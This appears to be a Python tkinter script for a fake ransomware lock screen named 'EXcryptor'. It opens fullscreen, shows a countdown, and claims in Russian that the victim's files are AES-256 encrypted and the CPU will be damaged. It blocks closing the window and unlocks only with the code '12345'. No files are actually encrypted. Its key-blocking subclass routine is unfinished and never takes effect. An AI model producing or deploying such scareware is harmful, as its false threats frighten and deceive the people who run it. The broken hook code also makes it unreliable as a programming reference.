Загрузка данных


import tkinter as tk
from tkinter import font as tkfont
from tkinter import PhotoImage
from datetime import timedelta
import os
import ctypes
from ctypes import wintypes

# --- НАСТРОЙКИ ---
BG_BLACK = "#000000"
FG = "#ffffff"
TOTAL_SECONDS = 6 * 60 * 60
PHOTO_PATH = r""  # <-- Ваш путь к файлу глазика

WARNING_TEXT = (
    "Упс, Windows заблокирован!\n"
    "Все ваши файлы зашифрованы военным способом шифрования AES-256,\n"
    "в случае попытки обмануть систему на ваш процессор будет подана рекурсивная нагрузка "
    "(сложные химические формулы, выражения и вычисления), что приведёт к его неисправности."
)
FINAL_TEXT = (
    "Упс, Windows заблокирован!\n"
    "Все ваши файлы зашифрованы военным способом шифрования AES-256,\n"
    "в случае попытки обмануть систему на ваш процессор будет подана рекурсивная нагрузка "
    "(сложные химические формулы, выражения и вычисления), что приведёт к его неисправности!"
)
ASCII_LINES = [
    r"                ...",
    r"             ;::::;",
    r"           ;::::; :;",
    r"         ;:::::'   :;",
    r"        ;:::::;     ;.",
    r"       ,:::::'       ;           OOO",
    r"       ::::::;       ;          OOOOO",
    r"       ;:::::;       ;         OOOOOOOO",
    r"      ,;::::::;     ;'         / OOOOOOO",
    r"    ;:::::::::`. ,,,;.        /  / DOOOOOO",
    r"  .';:::::::::::::::::;,     /  /     DOOOO",
    r" ,::::::;::::::;;;;::::;,   /  /        DOOO",
    r";`::::::`'::::::;;;::::: ,#/  /          DOOO",
    r":`:::::::`;::::::;;::: ;::#  /            DOO",
    r"::`:::::::`;:::::::: ;::::# /              DOO",
    r":::`:::::::`;::::::::;:::;# /               DOO",
    r" :::`:::::::`;; ;:::::::::##                OO",
    r" ::::`:::::::`;::::::::;:::#                OO",
    r" `:::::`::::::::::::;'`:;::#                O",
    r"  `:::::`::::::::;' /  / `:#",
    r"   ::::::`:::::;'  /  /   `#",
]

# Константы Windows API
GWL_WNDPROC = -4
WM_KEYDOWN = 0x0100
WM_KEYUP = 0x0101
WM_SYSKEYDOWN = 0x0104
WM_SYSKEYUP = 0x0105
WM_SYSCOMMAND = 0x0112
SC_MINIMIZE = 0xF020
VK_LWIN = 0x5B
VK_RWIN = 0x5C

CallWindowProcW = ctypes.windll.user32.CallWindowProcW
CallWindowProcW.argtypes = [wintypes.WPARAM, wintypes.HWND, wintypes.UINT, wintypes.WPARAM, wintypes.LPARAM]
CallWindowProcW.restype = ctypes.c_longlong


original_wndproc = None

def wnd_proc(hwnd, msg, wparam, lparam):
    if msg == WM_KEYDOWN or msg == WM_SYSKEYDOWN:
        vk = wparam
        if vk == VK_LWIN or vk == VK_RWIN:
            return 0
    if msg == WM_SYSCOMMAND:
        if wparam == SC_MINIMIZE:
            return 0
    return CallWindowProcW(original_wndproc, hwnd, msg, wparam, lparam)

def subclass_window(hwnd):
    global original_wndproc
    wnd_proc_ptr = ctypes.WINFUNCTYPE(ctypes.c_longlong, wintypes.HWND, wintypes.UINT, wintypes.WPARAM, wintypes.LPARAM)(wnd_proc)


def format_seconds(s):
    return str(timedelta(seconds=s))

def main():
    root = tk.Tk()
    root.title("EXcryptor")
    root.attributes("-fullscreen", True)
    root.configure(bg=BG_BLACK)

    hwnd = ctypes.windll.user32.GetParent(root.winfo_id())
    subclass_window(hwnd)

    def show_alert():
        alert_win = tk.Toplevel(root)
        alert_win.overrideredirect(True)
        alert_win.attributes('-topmost', True)
        alert_win.configure(bg='white')  # белая обводка
        sw = alert_win.winfo_screenwidth()
        sh = alert_win.winfo_screenheight()
        w, h = 600, 100
        x = (sw - w) // 2
        y = (sh - h) // 2
        alert_win.geometry(f"{w}x{h}+{x}+{y}")
        inner_frame = tk.Frame(alert_win, bg='black')
        inner_frame.pack(fill='both', expand=True, padx=2, pady=2)
        lbl = tk.Label(inner_frame, text="попытка обмануть систему остановлена",
                       bg="black", fg="white", font=tkfont.Font(size=18, weight="bold"))
        lbl.pack(expand=True)
        root.after(2000, alert_win.destroy)

    def on_close():
        show_alert()

    root.protocol("WM_DELETE_WINDOW", on_close)

    mono = tkfont.Font(family="Courier New", size=18)

    eye_image = None
    if os.path.exists(PHOTO_PATH):
        try:
            eye_image = PhotoImage(file=PHOTO_PATH)
        except Exception:
            eye_image = None

    art_frame = tk.Frame(root, bg=BG_BLACK)
    art_frame.place(relx=0.5, rely=0.5, anchor="center")
    art_label = tk.Label(art_frame, text="", bg=BG_BLACK, fg=FG, font=mono, justify="left", anchor="nw")
    art_label.pack()

    eye_label = None
    caption = None
    if eye_image:
        eye_label = tk.Label(root, image=eye_image, bg=BG_BLACK)
        eye_label.place(relx=0.5, rely=0.12, anchor="center")
        caption = tk.Label(root, bg=BG_BLACK, fg="#ff5555", font=tkfont.Font(size=20), anchor="center")
        caption.place(relx=0.5, rely=0.19, anchor="center")

    timer_label = tk.Label(root, text="", bg=BG_BLACK, fg=FG, font=tkfont.Font(size=24, weight="bold"))
    timer_label.place(relx=0.01, rely=0.98, anchor="sw")

    timer_seconds = [TOTAL_SECONDS]
    timer_stopped = [False]

    def update_timer():
        if not timer_stopped[0]:
            t = timer_seconds[0]
            timer_label.config(text=f"time left: {format_seconds(t)}")
            if timer_seconds[0] <= 0:
                art_frame.place_forget()
                timer_label.config(text="")
                if eye_label: eye_label.place_forget()
                if caption: caption.place_forget()
                show_final_text()
                timer_stopped[0] = True
            else:
                timer_seconds[0] -= 1
                root.after(1000, update_timer)
    update_timer()

    ascii_art_lines = []
    def animate_ascii(idx=0):
        if idx < len(ASCII_LINES):
            ascii_art_lines.append(ASCII_LINES[idx])
            art_label.config(text="\n".join(ascii_art_lines))
            root.after(40, lambda: animate_ascii(idx+1))
        else:
            root.after(4000, show_lock_interface)
    animate_ascii()

    def show_final_text():
        text_label = tk.Label(root, text=FINAL_TEXT, bg=BG_BLACK, fg=FG, font=tkfont.Font(size=23, weight="bold"),
                              wraplength=900, justify="center")
        text_label.place(relx=0.5, rely=0.5, anchor="center")

    def show_lock_interface():
        art_frame.place_forget()
        timer_label.config(bg=BG_BLACK)
        if eye_label: eye_label.place_forget()
        if caption: caption.place_forget()
        for widget in root.place_slaves():
            try:
                if widget.cget("bg") == BG_BLACK:
                    widget.place_forget()
            except Exception:
                pass

        border_thickness = 2
        lock_frame = tk.Frame(root, bg=BG_BLACK, highlightbackground="white", highlightcolor="white",
                              highlightthickness=border_thickness)
        lock_frame.place(relx=0.5, rely=0.5, anchor="center")

        inner = tk.Frame(lock_frame, bg=BG_BLACK)
        inner.pack(padx=30, pady=20)

        warning_label = tk.Label(inner, text=WARNING_TEXT, bg=BG_BLACK, fg=FG, font=tkfont.Font(size=16),
                                 justify="center", wraplength=700, padx=9, pady=8)
        warning_label.pack()

        tk.Label(inner, text="Введите код:", bg=BG_BLACK, fg=FG, font=tkfont.Font(size=14, weight="bold"),
                 anchor="w", justify="left").pack(pady=(20, 7), anchor='w')

        code_var = tk.StringVar()
        entry = tk.Entry(inner, textvariable=code_var, font=tkfont.Font(size=12), bg="#111111",
                         fg="#000000", width=16, relief="flat", insertbackground="#ffffff", state="readonly")
        entry.pack(pady=4, anchor='w')

        output_label = tk.Label(inner, text="", bg=BG_BLACK, fg="#00ff00", font=tkfont.Font(size=12, weight="bold"),
                                anchor="w", justify="left")
        output_label.pack(pady=(8, 10), anchor='w')

        def check_code():
            if code_var.get() == "12345":
                output_label.config(text="Расшифровка...", fg="#00ff00")
                root.after(1000, root.destroy)
            else:
                output_label.config(text="Введённый ключ не совпадает.", fg="#ff5555")


        btn_frame = tk.Frame(inner, bg=BG_BLACK)
        btn_frame.pack()
        digits = [
            ('1','2','3'),
            ('4','5','6'),
            ('7','8','9'),
            ('DEL','0','ОК')
        ]
        for r, row in enumerate(digits):
            for c, char in enumerate(row):
                def cmd(ch=char):
                    if ch == 'ОК':
                        check_code()
                    elif ch == 'DEL':
                        code_var.set(code_var.get()[:-1])
                    else:
                        if len(code_var.get()) < 8:
                            code_var.set(code_var.get() + ch)
                b = tk.Button(btn_frame, text=char, command=cmd, width=4, height=2,
                              bg="#222222", fg=FG, activebackground="#444444",
                              font=tkfont.Font(size=14, weight="bold"))
                b.grid(row=r, column=c, padx=5, pady=5)

        reset_button = tk.Button(inner, text="Сброс", command=lambda: code_var.set(""),
                                 width=10, height=2, bg="#444444", fg=FG,
                                 activebackground="#666666", font=tkfont.Font(size=12, weight="bold"))
        reset_button.pack(pady=(10, 0))

    root.mainloop()

if __name__ == "__main__":
    main()